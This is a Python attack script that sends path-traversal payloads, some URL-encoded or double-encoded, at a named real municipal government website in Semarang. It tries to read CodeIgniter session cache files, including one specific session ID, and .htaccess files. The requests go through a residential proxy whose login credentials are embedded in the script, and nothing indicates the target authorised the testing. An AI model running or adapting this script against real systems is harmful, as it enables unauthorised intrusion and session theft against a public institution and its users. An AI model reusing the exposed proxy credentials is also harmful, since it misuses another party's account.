#!/usr/bin/env python3
import requests
import time

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10002',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10002'
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
}

# Session files are stored in system/cache/
# Try to access session files via path traversal
payloads = [
    # Direct access
    "https://pohon.disperkim.semarangkota.go.id/system/cache/",
    "https://pohon.disperkim.semarangkota.go.id/system/cache/ci_session0001tk2g17tpli0ofpjdp4bm6jec08ku",
    # Path traversal
    "https://pohon.disperkim.semarangkota.go.id/../system/cache/",
    "https://pohon.disperkim.semarangkota.go.id/index.php/..%2F..%2Fsystem%2Fcache%2F",
    # Index.php path traversal  
    "https://pohon.disperkim.semarangkota.go.id/index.php?/../../system/cache/",
    # Double URL encoding
    "https://pohon.disperkim.semarangkota.go.id/%2e%2e%2f%2e%2e%2fsystem/cache/",
]

print("[*] Testing path traversal to session files...")
for url in payloads[:4]:
    try:
        resp = requests.get(url, headers=headers, proxies=PROXY, verify=False, timeout=30)
        print(f"[*] {url[:60]}... | Status: {resp.status_code} | Len: {len(resp.text)}")
        if resp.status_code == 200 and len(resp.text) > 0:
            print(f"    Preview: {resp.text[:100]}")
    except Exception as e:
        print(f"[-] Error: {e}")
    time.sleep(1)

# Try to access .htaccess
print("\n[*] Testing .htaccess access...")
htaccess_urls = [
    "https://pohon.disperkim.semarangkota.go.id/.htaccess",
    "https://pohon.disperkim.semarangkota.go.id/system/.htaccess",
    "https://pohon.disperkim.semarangkota.go.id/application/.htaccess",
]

for url in htaccess_urls:
    try:
        resp = requests.get(url, headers=headers, proxies=PROXY, verify=False, timeout=30)
        print(f"[*] {url.split('/')[-1]} | Status: {resp.status_code}")
        if resp.status_code == 200 and len(resp.text) > 10:
            print(f"    Content: {resp.text[:200]}")
    except Exception as e:
        print(f"[-] Error: {e}")
    time.sleep(1)